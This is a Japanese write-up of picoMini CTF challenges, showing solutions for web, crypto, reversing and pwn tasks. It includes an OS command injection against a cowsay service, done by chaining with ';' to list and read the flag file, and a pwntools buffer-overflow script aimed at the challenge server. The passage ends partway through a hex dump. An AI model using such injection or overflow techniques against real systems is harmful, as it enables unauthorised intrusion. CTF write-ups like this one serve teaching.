picoMini by redpwn writeup

Writer:b1uef0x / Webページ建造途中

概要

開催期間中に150点問題まで、その後200点問題まで解いたのでまとめておく。

目次

login (100point)

UsernameとPasswordを入力してログインさせる問題に見えるが、SQLインジェクションは関係ない。JavaScriptでUsernameとPasswordを照合している。

index.js
      (async()=>{
	await new Promise((e=>window.addEventListener("load",e))),document.querySelector("form").addEventListener("submit",(e=>{
		e.preventDefault();const r={u:"input[name=username]",p:"input[name=password]"},t={};
		for(const e in r)t[e]=btoa(document.querySelector(r[e]).value).replace(/=/g,"");
		return"YWRtaW4"!==t.u?alert("Incorrect Username"):"cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ"!==t.p?alert("Incorrect Password"):void alert(`Correct Password! Your flag is ${atob(t.p)}.`)
})) })();

base64エンコードされたUsernameとPasswordはそれぞれadminpicoCTF{53rv3r_53rv3r_53rv3r_53rv3r_53rv3r}になる。

advanced-potion-making (100point)

advanced-potion-makingファイルが配布される。これはヘッダ部分が改竄されたPNGファイルとなっているため、以下の部分を左から右に修正する。

バイナリエディタによる修正

出てくるPNGファイルは真っ赤になっているが、青空白猫(うさみみハリケーン)でステガノグラフィ解析を行って赤色 ビット0抽出などをすればflagが手に入る。

solve

spelling-quiz (100point)

換字式暗号問題。public.zipが配布され、中身は暗号化スクリプト(encrypt.py)、暗号化されたflag(flag.txt)、暗号化された辞書データ(study-guide.txt)。

encrypt.py
import random
import os

files = [
    os.path.join(path, file)
    for path, dirs, files in os.walk('.')
    for file in files
    if file.split('.')[-1] == 'txt'
]

alphabet = list('abcdefghijklmnopqrstuvwxyz')
random.shuffle(shuffled := alphabet[:])
dictionary = dict(zip(alphabet, shuffled))

for filename in files:
    text = open(filename, 'r').read()
    encrypted = ''.join([
        dictionary[c]
        if c in dictionary else c
        for c in text
    ])
    open(filename, 'w').write(encrypted)

アルファベットをシャッフルして置き換えており、暗号化されたflagはbrcfxba_vfr_mid_hosbrm_iprc_exa_hoav_vwcrmになっている。

大量の単語を同様に暗号化した辞書データが配布されているので、頻度解析で解くことができる。Substitution cipher decoder( https://planetcalc.com/8047/ )に辞書データを適当にコピーペーストして、暗号化されたflagを加えて解読させる。

小一時間でperhaps_the_dog_jumped_over_was_just_tiredに解読されるので、picoCTF{}の中に入れればflagになる。

caas (150point)

Web問題。メッセージ{message}をhttps://caas.mars.picoctf.net/cowsay/{message}としてアクセスすると牛のAAが喋る。

Cowsay as a Service
index.js
const express = require('express');
const app = express();
const { exec } = require('child_process');

app.use(express.static('public'));

app.get('/cowsay/:message', (req, res) => {
  exec(`/usr/games/cowsay ${req.params.message}`, (error, stdout) => {
    if (error) return res.status(500).end();
    res.type('txt').send(stdout).end();
  });
});

app.listen(3000, () => {
  console.log('listening');
});

サーバー側のコードが配布されるので確認すると、OSコマンドを実行して、cowsayプログラムに{message}を引数として与えていることがわかる。よってOSコマンドインジェクションを使用する。

実行されるOSコマンドを;で切って任意のコマンドを実行できる。

ls実行

falg.txtの存在がわかったので表示させる。

cat実行

XtraORdinary (150point)

暗号化スクリプト(encrypt.py)と暗号化されたflag(output.txt)が配布される。

encrypt.py
#!/usr/bin/env python3

from random import randint

with open('flag.txt', 'rb') as f:
    flag = f.read()

with open('secret-key.txt', 'rb') as f:
    key = f.read()

def encrypt(ptxt, key):
    ctxt = b''
    for i in range(len(ptxt)):
        a = ptxt[i]
        b = key[i % len(key)]
        ctxt += bytes([a ^ b])
    return ctxt

ctxt = encrypt(flag, key)

random_strs = [
    b'my encryption method',
    b'is absolutely impenetrable',
    b'and you will never',
    b'ever',
    b'ever',
    b'ever',
    b'ever',
    b'ever',
    b'ever',
    b'break it'
]

for random_str in random_strs:
    for i in range(randint(0, pow(2, 8))):
        for j in range(randint(0, pow(2, 6))):
            for k in range(randint(0, pow(2, 4))):
                for l in range(randint(0, pow(2, 2))):
                    for m in range(randint(0, pow(2, 0))):
                        ctxt = encrypt(ctxt, random_str)

with open('output.txt', 'w') as f:
    f.write(ctxt.hex())
output.txt
57657535570c1e1c612b3468106a18492140662d2f5967442a2960684d28017931617b1f3637

ecnrypt.pyはflagをkeyでXOR演算するもので、暗号化は2段階で行われている。1段階目はsecret-keyで暗号化し、2段階目はrandom_strsで定義される文字列群で暗号化する。2段階目の暗号化処理は入れ子構造のforループをランダムな回数回しているが、XOR演算は2回実行すると元のデータに戻ることから、forを何回繰り返してもXOR演算0回又は1回になる。さらにrandom_strsには同じkeyが6個含まれており、これらも0回又は1回の演算にまとめることができる。

よってrandom_strsの5個のkeyが0~1回ずつXORされた結果を出力することになるため、組み合わせは2^5=32通りになる。flagの先頭はpicoCTF{であることから、暗号文にrandom_strsの5個のkeyを0~1回XOR演算した32通りのパターンに対してpicoCTF{をXOR演算すれば、32個のsecret-keyの候補が得られる。

これを行うプログラムを以下のように作成した。

key_crack.py
#!/usr/bin/env python3

from random import randint
from Crypto.Util.number import bytes_to_long, long_to_bytes

ctxt = long_to_bytes(0x57657535570c1e1c612b3468106a18492140662d2f5967442a2960684d28017931617b1f3637);


def encrypt(ptxt, key):
    ctxt = b''
    for i in range(len(ptxt)):
        a = ptxt[i]
        b = key[i % len(key)]
        ctxt += bytes([a ^ b])
    return ctxt


def encrypt_t(ptxt, key):
    ctxt = b''
    for i in range(len(key)):
        a = ptxt[i]
        b = key[i % len(key)]
        ctxt += bytes([a ^ b])
    return ctxt


random_strs = [
    b'my encryption method',
    b'is absolutely impenetrable',
    b'and you will never',
    b'ever',
    b'break it'
]


for i in range(2):
        ctxt = encrypt(ctxt, random_strs[0]);
        for j in range(2):
                ctxt = encrypt(ctxt, random_strs[1]);
                for k in range(2):
                        ctxt = encrypt(ctxt, random_strs[2]);
                        for l in range(2):
                                ctxt = encrypt(ctxt, random_strs[3]);
                                for m in range(2):
                                        ctxt = encrypt(ctxt, random_strs[4]);
                                        print('%s %s %s %s %s %s' % (i,j,k,l,m,encrypt_t(ctxt, b'picoCTF{')));
key_crack実行

意味のある文字列を探すとsecret-keyがAfrica!であることがわかり、対応するrandom_strsの適用有無もわかったので、暗号化を解除するdecrypt.pyを作成した。

decrypt.py
#!/usr/bin/env python3

from random import randint
from Crypto.Util.number import bytes_to_long, long_to_bytes

ctxt = long_to_bytes(0x57657535570c1e1c612b3468106a18492140662d2f5967442a2960684d28017931617b1f3637);
key = b'Africa!';

def encrypt(ptxt, key):
    ctxt = b''
    for i in range(len(ptxt)):
        a = ptxt[i]
        b = key[i % len(key)]
        ctxt += bytes([a ^ b])
    return ctxt


random_strs = [
    b'my encryption method',
    b'is absolutely impenetrable',
    b'and you will never',
    b'ever',
    b'break it'
]

ctxt = encrypt(ctxt, random_strs[2]);
ctxt = encrypt(ctxt, random_strs[3]);
ctxt = encrypt(ctxt, random_strs[4]);

flag = encrypt(ctxt, key);
print(flag);

結果はpicoCTF{w41t_s0_1_d1dnt_1nv3nt_x0r???}

triple-secure (150point)

RSA暗号問題。暗号化スクリプト(encrypt.py)と暗号出力(public-key.txt)が配布される。

encrypt.py
#!/usr/bin/env python3

from Crypto.Util.number import getPrime, bytes_to_long

with open('flag.txt', 'rb') as f:
    flag = f.read()

p = getPrime(1024)
q = getPrime(1024)
r = getPrime(1024)

n1 = p * q
n2 = p * r
n3 = q * r

moduli = [n1, n2, n3]

e = 65537
c = bytes_to_long(flag)

for n in moduli:
    c = pow(c, e, n)

with open('public-key.txt', 'w') as f:
    f.write(f'n1: {n1}\n')
    f.write(f'n2: {n2}\n')
    f.write(f'n3: {n3}\n')
    f.write(f'e: {e}\n')
    f.write(f'c: {c}\n')
public-key.txt
n1: 15192492059814175574941055248891268822162533520576381643453916855435310880285336743521199057138647926712835561752909538944229702432795423884081992987060760867003375755338557996965825324749221386675061886921763747311599846248565297387814717840084998677273427776535730840343260681623323972936404815862969684384733188827100528542007213405382537935243645704237369770300643318878176739181891072725262069278646319502747718264711249767568106460533935904219027313131270918072460753061248221785076571054217566164086518459844527639082962818865640864990672033657423448004651989761933295878220596871163544315057550871764431562609
n2: 15896482259608901559307142941940447232781986632502572991096358742354276347180855512281737388865155342941898447990281534875563129451327818848218781669275420292448483501384399236235069545630630803245125324540747189305877026874280373084005881976783826855683894679886076284892158862128016644725623200756074647449586448311069649515124968073653962156220351541159266665209363921681260367806445996085898841723209546021525012849575330252109081102034217511126192041193752164593519033112893785698509908066978411804133407757110693612926897693360335062446358344787945536573595254027237186626524339635916646549827668224103778645691
n3: 16866741024290909515057727275216398505732182398866918550484373905882517578053919415558082579015872872951000794941027637288054371559194213756955947899010737036612882434425333227722062177363502202508368233645194979635011153509966453453939567651558628538264913958577698775210185802686516291658717434986786180150155217870273053289491069438118831268852205061142773994943387097417127660301519478434586738321776681183207796708047183864564628638795241493797850819727510884955449295504241048877759144706319821139891894102191791380663609673212846473456961724455481378829090944739778647230176360232323776623751623188480059886131
e: 65537
c: 5527557130549486626868355638343164556636640645975070563878791684872084568660950949839392805902757480207470630636669246237037694811318758082850684387745430679902248681495009593699928689084754915870981630249821819243308794164014262751330197659053593094226287631278905866187610594268602850237495796773397013150811502709453828013939726304717253858072813654392558403246468440154864433527550991691477685788311857169847773031859714215539719699781912119479668386111728900692806809163838659848295346731226661208367992168348253106720454566346143578242135426677554444162371330348888185625323879290902076363791018691228620744490

RSA暗号を3回実行しているが、使用する公開鍵3つは3つの秘密鍵を2つずつ使用した作ったものだから、お互いに秘密鍵の約数を持っている。よって公開鍵同士からユークリッドの互除法を使って最大公約数を求めると秘密鍵を手に入れることができる。

solve.py
import gmpy2
import math
from Crypto.Util.number import bytes_to_long, long_to_bytes

n1 = 15192492059814175574941055248891268822162533520576381643453916855435310880285336743521199057138647926712835561752909538944229702432795423884081992987060760867003375755338557996965825324749221386675061886921763747311599846248565297387814717840084998677273427776535730840343260681623323972936404815862969684384733188827100528542007213405382537935243645704237369770300643318878176739181891072725262069278646319502747718264711249767568106460533935904219027313131270918072460753061248221785076571054217566164086518459844527639082962818865640864990672033657423448004651989761933295878220596871163544315057550871764431562609

n2 = 15896482259608901559307142941940447232781986632502572991096358742354276347180855512281737388865155342941898447990281534875563129451327818848218781669275420292448483501384399236235069545630630803245125324540747189305877026874280373084005881976783826855683894679886076284892158862128016644725623200756074647449586448311069649515124968073653962156220351541159266665209363921681260367806445996085898841723209546021525012849575330252109081102034217511126192041193752164593519033112893785698509908066978411804133407757110693612926897693360335062446358344787945536573595254027237186626524339635916646549827668224103778645691

n3 = 16866741024290909515057727275216398505732182398866918550484373905882517578053919415558082579015872872951000794941027637288054371559194213756955947899010737036612882434425333227722062177363502202508368233645194979635011153509966453453939567651558628538264913958577698775210185802686516291658717434986786180150155217870273053289491069438118831268852205061142773994943387097417127660301519478434586738321776681183207796708047183864564628638795241493797850819727510884955449295504241048877759144706319821139891894102191791380663609673212846473456961724455481378829090944739778647230176360232323776623751623188480059886131



e = 65537

c = 5527557130549486626868355638343164556636640645975070563878791684872084568660950949839392805902757480207470630636669246237037694811318758082850684387745430679902248681495009593699928689084754915870981630249821819243308794164014262751330197659053593094226287631278905866187610594268602850237495796773397013150811502709453828013939726304717253858072813654392558403246468440154864433527550991691477685788311857169847773031859714215539719699781912119479668386111728900692806809163838659848295346731226661208367992168348253106720454566346143578242135426677554444162371330348888185625323879290902076363791018691228620744490


p = math.gcd(n1,n2)
r = math.gcd(n2,n3)
q = math.gcd(n3,n1)

print("p=%s" % p)
print("q=%s" % q)
print("r=%s" % r)


def lcm(p, q):
  return (p * q) // math.gcd(p, q)

def _etension_euclid(x,y):
  c0, c1 = x, y
  a0, a1 = 1, 0
  b0, b1 = 0, 1

  while c1 != 0:
     mm = c0 % c1
     qq = c0 // c1

     c0, c1 = c1, mm
     a0, a1 = a1, (a0 - qq * a1)
     b0, b1 = b1, (b0 - qq * b1)

  return c0, a0, b0

def decrypt(p,q,e,c):
  n = p*q
  l = lcm(p - 1, q - 1)
  _c, a, _b = _etension_euclid(e, l)
  d = a % l
  return pow(c,d,n)

c1 = decrypt(q,r,e,c)
c2 = decrypt(p,r,e,c1)
txt= decrypt(p,q,e,c2)

print("flag:%s" % long_to_bytes(txt))

実行するとflagが得られる。

p=119660120407416342093521198875970200503652030026184999838840951544471188235057764512149622436334754517070092115889922087976143409261665862157884453930404483415351610238154321433871054239568905273137919725917526056473901359312949883646592913381637999260828599289383860301717085920912559762712295164989106012643
q=126963703597214242111055793388455179890379067770512076858587717197146928847759121114335398860091528260297687323794942479532566444647858389461128295471609299505781851499310733099158304584543771415239918097328230929655601250453281393102266829307661217314893414986784482323832179578849867366834284687012845412763
r=132846951895793538897077555403967847542050766700952197146228251113081712319440889155149846202888542648969351063239105740434095718011829001684551658508591803707420131965877374781379009502046474415909376904718002094203010990824838428607725944298259738507797326637681632441750845743202171364832477389321609195337
flag:b'picoCTF{1_gu3ss_tr1pl3_rs4_1snt_tr1pl3_s3cur3!!!!!!}'

clutter-overflow (150point)

単純なBOF問題。chall.cとchallが配布され、サーバー上で動作している。

chall.c
#include <stdio.h>
#include <stdlib.h>

#define SIZE 0x100
#define GOAL 0xdeadbeef

const char* HEADER = 
" ______________________________________________________________________\n"
"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|\n"
"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |\n"
"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|\n"
"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ /                  \\^ ^ |\n"
"|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ /   \\ ^ _ ^ / |                | \\^ ^|\n"
"| ^/_\\^ ^ ^ /_________\\^ ^ ^ /_\\ | //  | /_\\ ^| |   ____  ____   | | ^ |\n"
"|^ =|= ^ =================^ ^=|=^|     |^=|=^ | |  {____}{____}  | |^ ^|\n"
"| ^ ^ ^ ^ |  =========  |^ ^ ^ ^ ^\\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |\n"
"|^ ^ ^ ^ ^| /     (   \\ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/  %%%%%%%%%%%%%%  \\|^ ^|\n"
".-----. ^ ||     )     ||^ ^.-------.-------.^|  %%%%%%%%%%%%%%%%  | ^ |\n"
"|     |^ ^|| o  ) (  o || ^ |       |       | | /||||||||||||||||\\ |^ ^|\n"
"| ___ | ^ || |  ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |\n"
"|'.____'_^||/!\\@@@@@/!\\|| _'______________.'|==                    =====\n"
"|\\|______|===============|________________|/|\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\" ||\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"  \n"
"\"\"''\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"";

int main(void)
{
  long code = 0;
  char clutter[SIZE];

  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);
        
  puts(HEADER); 
  puts("My room is so cluttered...");
  puts("What do you see?");

  gets(clutter);


  if (code == GOAL) {
    printf("code == 0x%llx: how did that happen??\n", GOAL);
    puts("take a flag for your troubles");
    system("cat flag.txt");
  } else {
    printf("code == 0x%llx\n", code);
    printf("code != 0x%llx :(\n", GOAL);
  }

  return 0;
}

getsでユーザー入力が1024byteのサイズを持つclutter変数に入るので、これをオーバーフローさせてcode変数の中身を0xdeadbeefに書き換える。適当に長い文字列を入力していけばそのうち書き換わるので、書き換わった部分を目的の値にする。

solve.py
from pwn import *

code = b"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xef\xbe\xad\xde"


io = remote('mars.picoctf.net',31890)

output = io.recvuntil("What do you see?")
io.sendline(code)
io.interactive()
solve実行

not crypto (150point)

実行ファイルnot-cryptoが配布される。そのまま実行してもI heard you wanted to bargain for a flag... whatcha got?で入力状態になって停止する。

IDA freeによる解析1

IDA freeで処理の流れを表示させると、処理を止めているのはcall _freadの部分になる。

IDA freeによる解析2

_freadを過ぎて更に進めるとYep, that's it!又はNope, come back laterに分岐して終了する。この直前まで進めてみる。

gdb-pedaを起動して、freadの部分にbreakpointを張る。さらに最後の分岐直前にbreakpointを張る。

not-ctyptoのdisassembly結果の抜粋
    1177:       00 00 
    1179:       48 8b 08                mov    rcx,QWORD PTR [rax]
    117c:       e8 bf fe ff ff          call   1040 <fread@plt>
    1181:       0f b6 84 24 b0 00 00    movzx  eax,BYTE PTR [rsp+0xb0]
    1188:       00 

    13be:       41 89 c4                mov    r12d,eax
    13c1:       85 c0                   test   eax,eax
    13c3:       0f 85 d6 06 00 00       jne    1a9f <memcmp@plt+0xa3f>
    13c9:       48 8d 3d 87 0c 00 00    lea    rdi,[rip+0xc87]        # 2057 <memcmp@plt+0xff7>
    13d0:       e8 5b fc ff ff          call   1030 <puts@plt>

上記の117cと13c1にbreakpointを張った。ただしgdbでデバッグされる際には基準アドレスが変化することに注意。

runで117cまで来たところでfreadを回避するために1181にjumpさせて13c1で停止。そこでスタックの中身を表示させてみる。

dgb-pedaによる解析

picoCTF{c0mp1l3r_0pt1m1z4t10n_15_pur3_w1z4rdry_but_n0_pr0bl3m?}

scrambled-bytes (200point)

flagを暗号化して送信するsend.pyとその通信をキャプチャしたcapture.pcapngが配布される。

send.py
#!/usr/bin/env python3

import argparse
from progress.bar import IncrementalBar

from scapy.all import *
import ipaddress

import random
from time import time

def check_ip(ip):
  try:
    return ipaddress.ip_address(ip)
  except:
    raise argparse.ArgumentTypeError(f'{ip} is an invalid address')

def check_port(port):
  try:
    port = int(port)
    if port < 1 or port > 65535:
      raise ValueError
    return port
  except:
    raise argparse.ArgumentTypeError(f'{port} is an invalid port')

def main(args):
  with open(args.input, 'rb') as f:
    payload = bytearray(f.read())
  random.seed(int(time()))
  random.shuffle(payload)
  with IncrementalBar('Sending', max=len(payload)) as bar:
    for b in payload:
      send(
        IP(dst=str(args.destination)) /
        UDP(sport=random.randrange(65536), dport=args.port) /
        Raw(load=bytes([b^random.randrange(256)])),
      verbose=False)
      bar.next()

if __name__=='__main__':
  parser = argparse.ArgumentParser()
  parser.add_argument('destination', help='destination IP address', type=check_ip)
  parser.add_argument('port', help='destination port number', type=check_port)
  parser.add_argument('input', help='input file')
  main(parser.parse_args())

send.pyを読むと、現在時刻でseedを初期化したrandom関数を使って送信データをshuffleしたのち、random.randrange(256)でXOR演算したものをrandom.randrange(65536)のportでUDP送信していることがわかる。

Wiresharkの表示

キャプチャデータのうち該当する通信を表示させると、データ部分に1byteずつ送信データが入っている。通信内容を適当にテキスト出力させてデータ部分を抽出するなりして送信されたデータ列を手に入れる(以下がそのデータ)。

out.txt
3b,04,79,27,76,d2,88,b9,ba,7b,fe,15,78,e5,5c,8d,ac,fa,1b,a2,48,63,04,bc,40,dc,d1,56,f3,d4,82,97,95,fa,d1,27,88,6c,df,9c,73,67,f4,93,9d,5e,72,0d,ae,9a,05,be,b0,12,6b,81,92,46,0f,92,70,23,2b,44,38,71,e3,18,fc,8d,3e,58,bd,f8,ff,72,61,f9,aa,b8,f5,f3,87,2f,5e,cc,4b,86,25,d1,95,4f,41,c2,91,93,61,10,f5,9d,96,de,1c,e3,1a,54,6d,0a,51,3b,dd,53,cf,ba,12,c9,a5,e5,5f,c9,15,b5,8c,97,90,1a,db,fe,b7,c9,e3,47,32,b5,92,63,0d,8b,37,e7,3c,1b,73,bd,87,0b,89,6b,66,dc,fa,e8,3a,9b,47,53,35,db,71,98,e4,d1,5e,b0,88,59,fd,c5,dd,87,e4,a9,02,64,01,26,25,9d,e5,37,a3,3e,74,8a,56,de,e8,52,87,8d,01,c5,80,2a,35,bd,11,e0,04,d0,8d,db,22,a9,cb,17,ad,e2,1d,48,ea,ca,c5,1b,a7,93,ff,07,82,6d,4b,74,6c,5f,d4,8b,53,32,f5,16,9a,2c,58,45,b3,61,77,0f,b0,84,54,51,27,f8,6d,f1,d9,e1,1e,2f,3c,d6,06,e6,b6,7f,8b,a7,36,03,7c,cf,2e,90,fc,47,ad,dd,d7,a2,1d,7d,0c,44,6d,b0,d3,e1,f3,f4,9b,b5,88,c9,dc,11,de,22,89,1b,f3,c5,96,60,e2,2d,6c,e2,87,51,fd,29,86,3e,c2,e9,d1,a4,05,9a,bd,09,1d,44,b4,da,73,98,0c,d3,fb,8c,33,3e,91,ed,83,4a,91,59,2f,94,78,06,fe,66,84,7b,ea,ba,cc,ef,fe,f1,5f,c3,5c,79,6f,70,dd,37,17,4d,43,20,15,1b,bc,34,39,f3,b6,3f,1c,b0,ce,47,12,b8,39,8c,05,a1,b0,ce,ce,25,0f,9c,70,ed,49,c5,ec,86,9e,56,5a,89,93,3d,0a,95,ca,4f,42,7a,34,05,be,20,2c,4e,2d,af,31,4c,7c,0f,25,d6,32,f1,f7,2e,5b,1a,49,2e,42,82,60,13,69,33,b4,90,a2,44,08,72,06,23,92,c0,e9,25,d8,45,5e,89,35,13,de,f2,ad,ae,61,0e,0a,68,cb,d2,55,a3,68,60,5f,7f,f5,a8,7e,4f,44,95,0a,6c,38,5c,1f,a7,1b,16,07,88,98,26,72,99,2d,e7,54,e2,b8,6e,d3,af,5b,2b,98,7c,8b,d6,c4,0b,06,dc,38,f0,45,cb,70,f9,61,f8,bb,27,e6,f9,0b,05,ba,ba,bf,b8,c5,03,90,88,5c,00,08,5c,d0,31,5b,50,c7,ae,a0,07,42,d1,0b,d5,fe,9c,6e,07,56,c1,13,eb,4e,ae,83,20,0c,1f,e4,4c,c1,ab,20,5c,8c,f3,97,66,af,1c,af,0b,42,e2,fd,35,fa,45,0d,86,37,e2,c6,22,4b,48,19,eb,2a,53,52,e6,41,39,d6,45,1f,1d,e3,ce,a6,31,d0,d8,ec,ea,3d,ff,7a,6b,4f,8c,72,c8,bc,f0,f9,e0,46,31,49,8e,eb,f8,28,dd,3f,90,44,71,b2,25,a3,3a,c1,f5,24,1c,0b,3b,d3,86,e8,e7,69,e7,08,03,9c,4d,ea,ee,5f,4f,32,28,33,f0,a4,c6,64,bb,cd,e0,44,4a,96,ed,f7,2d,48,3b,62,a5,54,a4,e7,b1,fd,f6,59,fc,13,80,47,8f,7b,2c,93,f6,bf,76,61,8d,71,3c,e6,fb,05,00,a7,f6,00,2c,8a,18,5a,85,9e,8f,3c,1f,be,87,f1,7d,32,f6,57,c5,d8,95,f5,96,b5,38,8a,95,7f,48,fa,26,66,8e,8e,ef,68,1e,9d,73,23,99,7c,2e,b7,4e,ca,72,ff,2a,fd,1e,6e,08,4f,63,2a,8e,7b,36,4b,64,c3,cc,74,cd,0f,7a,80,9f,dc,dd,16,56,c5,6a,d3,8c,87,8a,b9,7b,90,7d,83,c7,ed,e4,60,df,9b,80,a0,3d,cc,83,56,c2,83,f9,9a,e8,1d,10,41,1f,c8,29,cb,36,1c,28,d8,54,55,ff,04,84,15,7f,ff,35,49,e9,0e,a9,64,40,c8,73,54,9f,e0,b4,42,54,9a,df,59,49,8d,67,60,39,af,d4,ce,73,85,4f,9c,12,bf,b6,4f,99,1a,9b,3b,59,64,0e,f4,53,e6,b8,b1,3e,fd,66,21,e5,35,e6,7b,4e,81,f3,74,9c,da,9f,46,e5,e8,1d,a7,a4,7a,d3,3f,5d,a7,8d,fc,d0,13,21,47,76,c3,8c,27,a7,09,8f,e7,85,41,23,ea,b4,cb,eb,a9,4c,7b,d2,9e,4a,ee,be,6d,f0,67,bf,95,33,06,dd,d9,06,86,28,24,b2,ad,84,04,ed,61,3c,6a,05,e1,60,20,77,8a,88,f5,79,a0,c5,a9,42,c6,8b,72,bd,98,6e,f8,39,52,47,04,6b,8a,ad,07,4e,f4,8b,45,e4,4e,80,d9,5f,d6,ee,53,21,b5,bb,5d,19,94,87,01,e6,6d,ff,ef,72,51,f3,58,71,b8,86,dc,69,5e,a1,1d,80,1d,4f,20,9b,7b,99,a0,98,86,32,fa,0e,f7,b0,6d,1d,4e,93,f0,1d,8a,25,95,c8,7a,69,98,fb,3c,fa,0d,51,d6,e4,4b,52,4a,5c,06,5a,4d,7c,8a,86,c0,6f,85,df,ec,d1,6d,de,d9,4a,27,e2,66,37,d5,c1,29,2e,ac,ab,0b,39,2a,35,6c,42,ed,9c,39,01,05,40,24,3f,07,0b,bb,c6,5c,ab,6f,38,c2,58,32,e3,7f,aa,df,3b,03,c4,99,1b,5f,04,22,2b,37,ce,56,8b,14,6e,75,1d,48,23,c8,47,c8,5d,2b,7e,1b,c9,6a,aa,1f,e0,24,dd,93,83,29,4f,27,d4,0a,64,61,44,fb,f8,dc,4c,9c,42,cf,dc,6a,00,15,35,d2,b9,20,3f,75,f6,e2,26,b7,76,7c,8f,d3,66,6f,fa,12,e6,0a,56,46,9c,00,e3,f0,55,97,d4,02,45,49,5e,bc,42,15,6e,9e,70,18,fb,a8,93,c3,42,9f,2e,93,ff,ba,50,7e,2f,3b,3f,ee,81,18,ac,fc,40,62,ef,65,ea,d6,d8,36,77,7a,98,ad,a6,8f,55,cb,5c,9e,1d,cc,73,8d,55,a1,7f,d5,cc,78,5e,e3,69,3a,f2,6f,6a,7a,18,03,76,bc,6c,bd,39,7e,bf,e8,8f,22,ed,28,db,be,e7,66,68,61,b1,ac,d3,15,3b,3c,c3,1e,5d,47,04,56,f0,36,a5,c0,f6,16,fe,20,04,56,28,7c,5d,68,53,15,e6,55,bd,1d,58,bf,0f,f9,80,3d,b3,2d,3d,4c,9a,34,3e,cb,f3,38,3b,42,7d,ff,d5,57,91,ec,ee,b2,8b,27,8a,fa,e6,08,34,38,0f,30,ab,3d,f8,af,99,54,b1,de,97,8c,03,aa,43,d0,bc,76,35,3d,fa,ba,c5,03,c2,8e,8c,83,d9,4a,f0,cc,8f,1c,40,c1,cd,3e,40,f1,91,b2,3d,a2,b9,ac,ba,94,7b,d3,9a,26,f5,41,0c,22,7f,7c,71,7f,9b,f5,e3,1a,f6,06,fd,42,f3,e3,0e,e0,13,37,02,3b,44,14,29,1f,a7,cb,28,37,f2,a2,b1,5b,84,38,50,ce,68,98,02,46,ca,6c,71,05,08,7f,34,84,cb,a7,3c,62,bd,73,ea,3a,68,1e,f7,ba,73,fb,01,0f,43,7d,e3,39,d2,66,3a,82,8a,7b,ca,9f,ef,66,30,e4,ff,9e,dc,6e,0e,1d,45,b0,fb,63,d6,45,60,b9,d8,8d,f1,d8,40,29,b0,07,0f,11,2f,7a,56,7d,1d,90,c1,e9,70,e1,d9,b0,b3,ae,4a,61,89,d4,67,2f,ca,5a,93,4b,fe,10,3c,90,9f,7b,9e,e8,41,b4,78,ef,b3,95,37,94,11,5f,be,a2,db,6c,36,28,69,13,36,7c,1f,63,f9,fb,16,80,62,6d,d4,20,08,9c,8c,ba,f7,d0,61,9f,0c,ac,04,de,7c,c9,a6,55,fe,8a,ec,ab,79,30,f1,c5,55,af,3b,6c,24,d7,9f,8c,bb,75,2e,03,9e,1c,05,b5,24,b1,21,ec,18,3a,dc,e9,71,a8,c9,be,4c,7d,fa,d4,e9,73,e0,91,45,71,39,3a,57,d4,8d,8d,a2,d5,21,59,b2,7b,24,57,ab,7d,90,ee,e0,d4,fa,df,24,26,78,30,95,f9,20,ad,54,dd,d7,19,52,bf,7c,db,06,db,55,66,21,c2,91,05,48,8e,8e,e9,f9,24,ab,c1,a4,b7,50,58,1b,d6,13,6b,c5,86,d3,41,33,f8,1f,38,6c,11,1a,98,3a,bb,4b,f3,a6,f8,98,33,c9,fb,3a,b9,0f,f7,0a,18,eb,34,1f,2f,83,e0,26,2e,e9,3d,62,29,9d,5c,ff,a6,bb,3e,6b,42,48,4c,b1,cd,a3,71,83,ea,2f,e4,33,50,6a,15,f3,f1,52,c4,4c,fa,c8,5f,44,46,c3,9a,68,e8,4f,7e,17,31,c2,bd,96,7f,1d,c6,1b,8b,c8,37,8d,88,9d,aa,da,6b,ce,55,c0,e5,59,d2,e8,cb,df,ed,69,25,c5,0d,0e,77,52,76,b0,f7,f1,c